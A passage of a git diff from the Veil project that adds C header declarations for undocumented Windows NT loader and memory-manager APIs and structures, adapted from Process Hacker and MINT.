Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnedLength +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileExecutionOptions( + _In_ PUNICODE_STRING SubKey, + _In_ PCWSTR ValueName, + _In_ ULONG ValueSize, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnedLength +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileExecutionOptionsEx( + _In_ PUNICODE_STRING SubKey, + _In_ PCWSTR ValueName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnedLength, + _In_ BOOLEAN Wow64 +); + +// private +typedef struct _DELAYLOAD_PROC_DESCRIPTOR +{ + ULONG ImportDescribedByName; + union + { + PCSTR Name; + ULONG Ordinal; + } Description; +} DELAYLOAD_PROC_DESCRIPTOR, * PDELAYLOAD_PROC_DESCRIPTOR; + +// private +typedef struct _DELAYLOAD_INFO +{ + ULONG Size; + PCIMAGE_DELAYLOAD_DESCRIPTOR DelayloadDescriptor; + PIMAGE_THUNK_DATA ThunkAddress; + PCSTR TargetDllName; + DELAYLOAD_PROC_DESCRIPTOR TargetApiDescriptor; + PVOID TargetModuleBase; + PVOID Unused; + ULONG LastError; +} DELAYLOAD_INFO, * PDELAYLOAD_INFO; + +// private +typedef PVOID(NTAPI* PDELAYLOAD_FAILURE_DLL_CALLBACK)( + _In_ ULONG NotificationReason, + _In_ PDELAYLOAD_INFO DelayloadInfo + ); + +// rev +typedef PVOID(NTAPI* PDELAYLOAD_FAILURE_SYSTEM_ROUTINE)( + _In_ PCSTR DllName, + _In_ PCSTR ProcName + ); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +// rev +NTSYSAPI +PVOID +NTAPI +LdrResolveDelayLoadedAPI( + _In_ PVOID ParentModuleBase, + _In_ PCIMAGE_DELAYLOAD_DESCRIPTOR DelayloadDescriptor, + _In_opt_ PDELAYLOAD_FAILURE_DLL_CALLBACK FailureDllHook, + _In_opt_ PDELAYLOAD_FAILURE_SYSTEM_ROUTINE FailureSystemHook, // kernel32.DelayLoadFailureHook + _Out_ PIMAGE_THUNK_DATA ThunkAddress, + _Reserved_ ULONG Flags +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrResolveDelayLoadsFromDll( + _In_ PVOID ParentBase, + _In_ PCSTR TargetDllName, + _Reserved_ ULONG Flags +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrSetDefaultDllDirectories( + _In_ ULONG DirectoryFlags +); +#endif + +// rev +DECLSPEC_NORETURN +NTSYSAPI +VOID +NTAPI +LdrShutdownProcess( + VOID +); + +// rev +DECLSPEC_NORETURN +NTSYSAPI +VOID +NTAPI +LdrShutdownThread( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrSetImplicitPathOptions( + _In_ ULONG ImplicitPathOptions +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +LdrControlFlowGuardEnforced( + VOID +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_19H1) +// rev +NTSYSAPI +BOOLEAN +NTAPI +LdrIsModuleSxsRedirected( + _In_ PVOID DllHandle +); +#endif +#endif // _KERNEL_MODE + +// +// Driver Section +// + +typedef struct _KLDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + PVOID ExceptionTable; + ULONG ExceptionTableSize; + PVOID GpValue; + struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + union + { + union + { + struct + { + USHORT SignatureLevel : 4; /* bit position: 0 */ + USHORT SignatureType : 3; /* bit position: 4 */ + USHORT Frozen : 2; /* bit position: 7 */ + USHORT Unused : 7; /* bit position: 9 */ + }; + USHORT EntireField; + }; + }; + PVOID SectionPointer; + ULONG CheckSum; + ULONG CoverageSectionSize; + PVOID CoverageSection; + PVOID LoadedImports; + PVOID Spare; + ULONG SizeOfImageNotRounded; + ULONG TimeDateStamp; +} KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY; + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.MemoryManager.h b/include/Veil/Veil/Veil.System.MemoryManager.h new file mode 100644 index 0000000..e9ee51a --- /dev/null +++ b/include/Veil/Veil/Veil.System.MemoryManager.h @@ -0,0 +1,1890 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#ifdef _KERNEL_MODE +#define MEM_IMAGE SEC_IMAGE +#endif + +// private +#ifndef _KERNEL_MODE +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, // MEMORY_BASIC_INFORMATION + MemoryWorkingSetInformation, // MEMORY_WORKING_SET_INFORMATION + MemoryMappedFileNameInformation, // UNICODE_STRING + MemoryRegionInformation, // MEMORY_REGION_INFORMATION + MemoryWorkingSetExInformation, // MEMORY_WORKING_SET_EX_INFORMATION + MemorySharedCommitInformation, // MEMORY_SHARED_COMMIT_INFORMATION + MemoryImageInformation, // MEMORY_IMAGE_INFORMATION + MemoryRegionInformationEx, // MEMORY_REGION_INFORMATION + MemoryPrivilegedBasicInformation, + MemoryEnclaveImageInformation, // MEMORY_ENCLAVE_IMAGE_INFORMATION // since REDSTONE3 + MemoryBasicInformationCapped, // 10 + MemoryPhysicalContiguityInformation, // MEMORY_PHYSICAL_CONTIGUITY_INFORMATION // since 20H1 + MemoryBadInformation, // since WIN11 + MemoryBadInformationAllProcesses, // since 22H1 + MaxMemoryInfoClass +} MEMORY_INFORMATION_CLASS; +#else +#define MemoryBasicInformation ((_MEMORY_INFORMATION_CLASS)0x0) +#define MemoryWorkingSetInformation ((_MEMORY_INFORMATION_CLASS)0x1) +#define MemoryMappedFileNameInformation ((_MEMORY_INFORMATION_CLASS)0x2) +#define MemoryRegionInformation ((_MEMORY_INFORMATION_CLASS)0x3) +#define MemoryWorkingSetExInformation ((_MEMORY_INFORMATION_CLASS)0x4) +#define MemorySharedCommitInformation ((_MEMORY_INFORMATION_CLASS)0x5) +#define MemoryImageInformation ((_MEMORY_INFORMATION_CLASS)0x6) +#define MemoryRegionInformationEx ((_MEMORY_INFORMATION_CLASS)0x7) +#define MemoryPrivilegedBasicInformation ((_MEMORY_INFORMATION_CLASS)0x8) +#define MemoryEnclaveImageInformation ((_MEMORY_INFORMATION_CLASS)0x9) +#define MemoryBasicInformationCapped ((_MEMORY_INFORMATION_CLASS)0xA) +#define MemoryPhysicalContiguityInformation ((_MEMORY_INFORMATION_CLASS)0xB) +#define MemoryBadInformation ((_MEMORY_INFORMATION_CLASS)0xC) +#define MemoryBadInformationAllProcesses ((_MEMORY_INFORMATION_CLASS)0xD) +#endif // !_KERNEL_MODE + +typedef struct _MEMORY_WORKING_SET_BLOCK +{ + ULONG_PTR Protection : 5; + ULONG_PTR ShareCount : 3; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 3; +#ifdef _WIN64 + ULONG_PTR VirtualPage : 52; +#else + ULONG VirtualPage : 20; +#endif +} MEMORY_WORKING_SET_BLOCK, * PMEMORY_WORKING_SET_BLOCK; + +typedef struct _MEMORY_WORKING_SET_INFORMATION +{ + ULONG_PTR NumberOfEntries; + MEMORY_WORKING_SET_BLOCK WorkingSetInfo[1]; +} MEMORY_WORKING_SET_INFORMATION, * PMEMORY_WORKING_SET_INFORMATION; + +// private +typedef struct _MEMORY_REGION_INFORMATION +{ + PVOID AllocationBase; + ULONG AllocationProtect; + union + { + ULONG RegionType; + struct + { + ULONG Private : 1; + ULONG MappedDataFile : 1; + ULONG MappedImage : 1; + ULONG MappedPageFile : 1; + ULONG MappedPhysical : 1; + ULONG DirectMapped : 1; + ULONG SoftwareEnclave : 1; // REDSTONE3 + ULONG PageSize64K : 1; + ULONG PlaceholderReservation : 1; // REDSTONE4 + ULONG MappedAwe : 1; // 21H1 + ULONG MappedWriteWatch : 1; + ULONG PageSizeLarge : 1; + ULONG PageSizeHuge : 1; + ULONG Reserved : 19; + }; + }; + SIZE_T RegionSize; + SIZE_T CommitSize; + ULONG_PTR PartitionId; // 19H1 + ULONG_PTR NodePreference; // 20H1 +} MEMORY_REGION_INFORMATION, * PMEMORY_REGION_INFORMATION; + +// private +typedef enum _MEMORY_WORKING_SET_EX_LOCATION +{ + MemoryLocationInvalid, + MemoryLocationResident, + MemoryLocationPagefile, + MemoryLocationReserved +} MEMORY_WORKING_SET_EX_LOCATION; + +// private +typedef struct _MEMORY_WORKING_SET_EX_BLOCK +{ + union + { + struct + { + ULONG_PTR Valid : 1; + ULONG_PTR ShareCount : 3; + ULONG_PTR Win32Protection : 11; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 6; + ULONG_PTR Locked : 1; + ULONG_PTR LargePage : 1; + ULONG_PTR Priority : 3; + ULONG_PTR Reserved : 3; + ULONG_PTR SharedOriginal : 1; + ULONG_PTR Bad : 1; + ULONG_PTR Win32GraphicsProtection : 4; // 19H1 +#ifdef _WIN64 + ULONG_PTR ReservedUlong : 28; +#endif + }; + struct + { + ULONG_PTR Valid : 1; + ULONG_PTR Reserved0 : 14; + ULONG_PTR Shared : 1; + ULONG_PTR Reserved1 : 5; + ULONG_PTR PageTable : 1; + ULONG_PTR Location : 2; + ULONG_PTR Priority : 3; + ULONG_PTR ModifiedList : 1; + ULONG_PTR Reserved2 : 2; + ULONG_PTR SharedOriginal : 1; + ULONG_PTR Bad : 1; +#ifdef _WIN64 + ULONG_PTR ReservedUlong : 32; +#endif + } Invalid; + }; +} MEMORY_WORKING_SET_EX_BLOCK, * PMEMORY_WORKING_SET_EX_BLOCK; + +// private +typedef struct _MEMORY_WORKING_SET_EX_INFORMATION +{ + PVOID VirtualAddress; + union + { + MEMORY_WORKING_SET_EX_BLOCK VirtualAttributes; + ULONG_PTR Long; + } u1; +} MEMORY_WORKING_SET_EX_INFORMATION, * PMEMORY_WORKING_SET_EX_INFORMATION; + +// private +typedef struct _MEMORY_SHARED_COMMIT_INFORMATION +{ + SIZE_T CommitSize; +} MEMORY_SHARED_COMMIT_INFORMATION, * PMEMORY_SHARED_COMMIT_INFORMATION; + +// private +typedef struct _MEMORY_IMAGE_INFORMATION +{ + PVOID ImageBase; + SIZE_T SizeOfImage; + union + { + ULONG ImageFlags; + struct + { + ULONG ImagePartialMap : 1; + ULONG ImageNotExecutable : 1; + ULONG ImageSigningLevel : 4; // REDSTONE3 + ULONG Reserved : 26; + }; + }; +} MEMORY_IMAGE_INFORMATION, * PMEMORY_IMAGE_INFORMATION; + +// private +typedef struct _MEMORY_ENCLAVE_IMAGE_INFORMATION +{ + MEMORY_IMAGE_INFORMATION ImageInfo; + UCHAR UniqueID[32]; + UCHAR AuthorID[32]; +} MEMORY_ENCLAVE_IMAGE_INFORMATION, * PMEMORY_ENCLAVE_IMAGE_INFORMATION; + +// private +typedef enum _MEMORY_PHYSICAL_CONTIGUITY_UNIT_STATE +{ + MemoryNotContiguous, + MemoryAlignedAndContiguous, + MemoryNotResident, + MemoryNotEligibleToMakeContiguous, + MemoryContiguityStateMax, +} MEMORY_PHYSICAL_CONTIGUITY_UNIT_STATE; + +// private +typedef struct _MEMORY_PHYSICAL_CONTIGUITY_UNIT_INFORMATION +{ + union + { + struct + { + ULONG State : 2; + ULONG Reserved : 30; + }; + ULONG AllInformation; + }; +} MEMORY_PHYSICAL_CONTIGUITY_UNIT_INFORMATION, * PMEMORY_PHYSICAL_CONTIGUITY_UNIT_INFORMATION; + +// private +typedef struct _MEMORY_PHYSICAL_CONTIGUITY_INFORMATION +{ + PVOID VirtualAddress; + ULONG_PTR Size; + ULONG_PTR ContiguityUnitSize; + ULONG Flags; + PMEMORY_PHYSICAL_CONTIGUITY_UNIT_INFORMATION ContiguityUnitInformation; +} MEMORY_PHYSICAL_CONTIGUITY_INFORMATION, * PMEMORY_PHYSICAL_CONTIGUITY_INFORMATION; + +typedef enum _MMLISTS +{ + ZeroedPageList = 0, + FreePageList = 1, + StandbyPageList = 2, + ModifiedPageList = 3, + ModifiedNoWritePageList = 4, + BadPageList = 5, + ActiveAndValid = 6, + TransitionPage = 7 +} MMLISTS; + +typedef enum _MMPFNUSE +{ + ProcessPrivatePage, + MemoryMappedFilePage, + PageFileMappedPage, + PageTablePage, + PagedPoolPage, + NonPagedPoolPage, + SystemPTEPage, + SessionPrivatePage, + MetafilePage, + AWEPage, + DriverLockedPage, + KernelStackPage +} MMPFNUSE; + +// private +typedef struct _MEMORY_FRAME_INFORMATION +{ + ULONGLONG UseDescription : 4; // MMPFNUSE_* + ULONGLONG ListDescription : 3; // MMPFNLIST_* + ULONGLONG Cold : 1; // 19H1 + ULONGLONG Pinned : 1; // 1 - pinned, 0 - not pinned + ULONGLONG DontUse : 48; // *_INFORMATION overlay + ULONGLONG Priority : 3; + ULONGLONG NonTradeable : 1; + ULONGLONG Reserved : 3; +} MEMORY_FRAME_INFORMATION; + +// private +typedef struct _FILEOFFSET_INFORMATION +{ + ULONGLONG DontUse : 9; // MEMORY_FRAME_INFORMATION overlay + ULONGLONG Offset : 48; // mapped files + ULONGLONG Reserved : 7; +} FILEOFFSET_INFORMATION; + +// private +typedef struct _PAGEDIR_INFORMATION +{ + ULONGLONG DontUse : 9; // MEMORY_FRAME_INFORMATION overlay + ULONGLONG PageDirectoryBase : 48; // private pages + ULONGLONG Reserved : 7; +} PAGEDIR_INFORMATION; + +// private +typedef struct _UNIQUE_PROCESS_INFORMATION +{ + ULONGLONG DontUse : 9; // MEMORY_FRAME_INFORMATION overlay + ULONGLONG UniqueProcessKey : 48; // ProcessId + ULONGLONG Reserved : 7; +} UNIQUE_PROCESS_INFORMATION, * PUNIQUE_PROCESS_INFORMATION; + +// private +typedef struct _MMPFN_IDENTITY +{ + union + { + MEMORY_FRAME_INFORMATION e1; // all + FILEOFFSET_INFORMATION e2; // mapped files + PAGEDIR_INFORMATION e3; // private pages + UNIQUE_PROCESS_INFORMATION e4; // owning process + } u1; + ULONG_PTR PageFrameIndex; // all + union + { + struct + { + ULONG_PTR Image : 1; + ULONG_PTR Mismatch : 1; + } e1; + struct + { + ULONG_PTR CombinedPage; + } e2; + ULONG_PTR FileObject; // mapped files + ULONG_PTR UniqueFileObjectKey; + ULONG_PTR ProtoPteAddress; + ULONG_PTR VirtualAddress; // everything else + } u2; +} MMPFN_IDENTITY, * PMMPFN_IDENTITY; + +typedef struct _MMPFN_MEMSNAP_INFORMATION +{ + ULONG_PTR InitialPageFrameIndex; + ULONG_PTR Count; +} MMPFN_MEMSNAP_INFORMATION, * PMMPFN_MEMSNAP_INFORMATION; + +typedef enum _SECTION_INFORMATION_CLASS +{ + SectionBasicInformation, // q; SECTION_BASIC_INFORMATION + SectionImageInformation, // q; SECTION_IMAGE_INFORMATION + SectionRelocationInformation, // q; PVOID RelocationAddress // name:wow64:whNtQuerySection_SectionRelocationInformation + SectionOriginalBaseInformation, // PVOID BaseAddress + SectionInternalImageInformation, // SECTION_INTERNAL_IMAGE_INFORMATION // since REDSTONE2 + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; + +typedef struct _SECTION_BASIC_INFORMATION +{ + PVOID BaseAddress; + ULONG AllocationAttributes; + LARGE_INTEGER MaximumSize; +} SECTION_BASIC_INFORMATION, * PSECTION_BASIC_INFORMATION; + +// symbols +typedef struct _SECTION_IMAGE_INFORMATION +{ + PVOID TransferAddress; + ULONG ZeroBits; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union + { + struct + { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + union + { + struct + { + USHORT MajorOperatingSystemVersion; + USHORT MinorOperatingSystemVersion; + }; + ULONG OperatingSystemVersion; + }; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + union + { + UCHAR ImageFlags; + struct + { + UCHAR ComPlusNativeReady : 1; + UCHAR ComPlusILOnly : 1; + UCHAR ImageDynamicallyRelocated : 1; + UCHAR ImageMappedFlat : 1; + UCHAR BaseBelow4gb : 1; + UCHAR ComPlusPrefer32bit : 1; + UCHAR Reserved : 2; + }; + }; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG CheckSum; +} SECTION_IMAGE_INFORMATION, * PSECTION_IMAGE_INFORMATION; + +// symbols +typedef struct _SECTION_INTERNAL_IMAGE_INFORMATION +{ + SECTION_IMAGE_INFORMATION SectionInformation; + union + { + ULONG ExtendedFlags; + struct + { + ULONG ImageExportSuppressionEnabled : 1; + ULONG ImageCetShadowStacksReady : 1; // 20H1 + ULONG ImageXfgEnabled : 1; // 20H2 + ULONG ImageCetShadowStacksStrictMode : 1; + ULONG ImageCetSetContextIpValidationRelaxedMode : 1; + ULONG ImageCetDynamicApisAllowInProc : 1; + ULONG ImageCetDowngradeReserved1 : 1; + ULONG ImageCetDowngradeReserved2 : 1; + ULONG Reserved : 24; + }; + }; +} SECTION_INTERNAL_IMAGE_INFORMATION, * PSECTION_INTERNAL_IMAGE_INFORMATION; + +#ifndef _KERNEL_MODE +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; +#endif // !_KERNEL_MODE + +#define MEM_EXECUTE_OPTION_ENABLE 0x1 +#define MEM_EXECUTE_OPTION_DISABLE 0x2 +#define MEM_EXECUTE_OPTION_DISABLE_THUNK_EMULATION 0x4 +#define MEM_EXECUTE_OPTION_PERMANENT 0x8 +#define MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE 0x10 +#define MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE 0x20 +#define MEM_EXECUTE_OPTION_VALID_FLAGS 0x3f + +// +// Virtual memory +// + +_Must_inspect_result_ +__drv_allocatesMem(Mem) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect +); + +_Must_inspect_result_ +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(return == 0, __drv_allocatesMem(Region)) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID * BaseAddress, + _In_ ULONG_PTR ZeroBits, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect +); + +#if (WDK_NTDDI_VERSION <= NTDDI_WIN10_RS4) + +typedef struct _MEM_ADDRESS_REQUIREMENTS { + PVOID LowestStartingAddress; + PVOID HighestEndingAddress; + SIZE_T Alignment; +} MEM_ADDRESS_REQUIREMENTS, * PMEM_ADDRESS_REQUIREMENTS; + +#define MEM_EXTENDED_PARAMETER_GRAPHICS 0x00000001 +#define MEM_EXTENDED_PARAMETER_NONPAGED 0x00000002 +#define MEM_EXTENDED_PARAMETER_ZERO_PAGES_OPTIONAL 0x00000004 +#define MEM_EXTENDED_PARAMETER_NONPAGED_LARGE 0x00000008 +#define MEM_EXTENDED_PARAMETER_NONPAGED_HUGE 0x00000010 +#define MEM_EXTENDED_PARAMETER_SOFT_FAULT_PAGES 0x00000020 +#define MEM_EXTENDED_PARAMETER_EC_CODE 0x00000040 + +// +// Use the high ULONG64 bit of the MEM_EXTENDED_PARAMETER to indicate +// that the supplied NUMA node in the low bits is mandatory. Note this +// is different from the MEM_EXTENDED_PARAMETER_XXX fields above because +// those are encoded in the Type field; this is encoded in the ULong64 field. +// +// This can only be used nonpaged allocations since we don't want page +// faults to fail due to transient memory shortages on arbitrary nodes. +// + +#define MEM_EXTENDED_PARAMETER_NUMA_NODE_MANDATORY MINLONG64 + +typedef enum MEM_EXTENDED_PARAMETER_TYPE { + MemExtendedParameterInvalidType = 0, + MemExtendedParameterAddressRequirements, + MemExtendedParameterNumaNode, + MemExtendedParameterPartitionHandle, + MemExtendedParameterUserPhysicalHandle, + MemExtendedParameterAttributeFlags, + MemExtendedParameterImageMachine, + MemExtendedParameterMax +} MEM_EXTENDED_PARAMETER_TYPE, * PMEM_EXTENDED_PARAMETER_TYPE; + +#define MEM_EXTENDED_PARAMETER_TYPE_BITS 8 + +typedef struct DECLSPEC_ALIGN(8) MEM_EXTENDED_PARAMETER { + + struct { + ULONG64 Type : MEM_EXTENDED_PARAMETER_TYPE_BITS; + ULONG64 Reserved : 64 - MEM_EXTENDED_PARAMETER_TYPE_BITS; + } DUMMYSTRUCTNAME; + + union { + ULONG64 ULong64; + PVOID Pointer; + SIZE_T Size; + HANDLE Handle; + ULONG ULong; + } DUMMYUNIONNAME; + +} MEM_EXTENDED_PARAMETER, * PMEM_EXTENDED_PARAMETER; + +#define MEMORY_CURRENT_PARTITION_HANDLE ((HANDLE) (LONG_PTR) -1) +#define MEMORY_SYSTEM_PARTITION_HANDLE ((HANDLE) (LONG_PTR) -2) +#define MEMORY_EXISTING_VAD_PARTITION_HANDLE ((HANDLE) (LONG_PTR) -3) + +// +// Dedicated memory attributes. +// + +#define MEM_DEDICATED_ATTRIBUTE_NOT_SPECIFIED ((ULONG64) -1) + +typedef enum _MEM_DEDICATED_ATTRIBUTE_TYPE { + MemDedicatedAttributeReadBandwidth = 0, + MemDedicatedAttributeReadLatency, + MemDedicatedAttributeWriteBandwidth, + MemDedicatedAttributeWriteLatency, + MemDedicatedAttributeMax +} MEM_DEDICATED_ATTRIBUTE_TYPE, * PMEM_DEDICATED_ATTRIBUTE_TYPE; + + + +typedef struct _MEMORY_PARTITION_DEDICATED_MEMORY_OPEN_INFORMATION { + + // + // Type identifier of the dedicated memory to open. + // + + ULONG64 DedicatedMemoryTypeId; + + // + // Attributes and desired access for the new handle to be opened and stored + // in DedicatedMemoryPartitionHandle. + // + + ULONG HandleAttributes; + ACCESS_MASK DesiredAccess; + + // + // Returned handle to the opened dedicated memory partition. + // + + HANDLE DedicatedMemoryPartitionHandle; + +} MEMORY_PARTITION_DEDICATED_MEMORY_OPEN_INFORMATION, * PMEMORY_PARTITION_DEDICATED_MEMORY_OPEN_INFORMATION; + +#define SEC_HUGE_PAGES 0x00020000 +#define SEC_64K_PAGES 0x00080000 +#define SEC_FILE 0x00800000 +#define SEC_IMAGE 0x01000000 +#define SEC_RESERVE 0x04000000 +#define SEC_COMMIT 0x08000000 +#define SEC_NOCACHE 0x10000000 +#define SEC_LARGE_PAGES 0x80000000 +#define SEC_IMAGE_NO_EXECUTE (SEC_IMAGE | SEC_NOCACHE) + +typedef enum MEM_SECTION_EXTENDED_PARAMETER_TYPE { + MemSectionExtendedParameterInvalidType = 0, + MemSectionExtendedParameterUserPhysicalFlags, + MemSectionExtendedParameterNumaNode, + MemSectionExtendedParameterSigningLevel, + MemSectionExtendedParameterMax +} MEM_SECTION_EXTENDED_PARAMETER_TYPE, * PMEM_SECTION_EXTENDED_PARAMETER_TYPE; + +#endif // WDK_NTDDI_VERSION <= NTDDI_WIN10_RS4 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) +_Must_inspect_result_ +__drv_allocatesMem(Mem) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateVirtualMemoryEx( + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG PageProtection, + _Inout_updates_opt_(ExtendedParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); + +_Must_inspect_result_ +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(return == 0, __drv_allocatesMem(Region)) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateVirtualMemoryEx( + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID * BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG PageProtection, + _Inout_updates_opt_(ExtendedParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS4 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreeVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ __drv_freesMem(Mem) PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG FreeType +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(return == 0, __drv_freesMem(Region)) +NTSYSAPI +NTSTATUS +NTAPI +ZwFreeVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID * BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG FreeType +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_writes_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_writes_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_CO) +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadVirtualMemoryEx( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_writes_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReadVirtualMemoryEx( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_writes_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead, + _In_ ULONG Flags +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_writes_bytes_(MemoryInformationLength) PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + 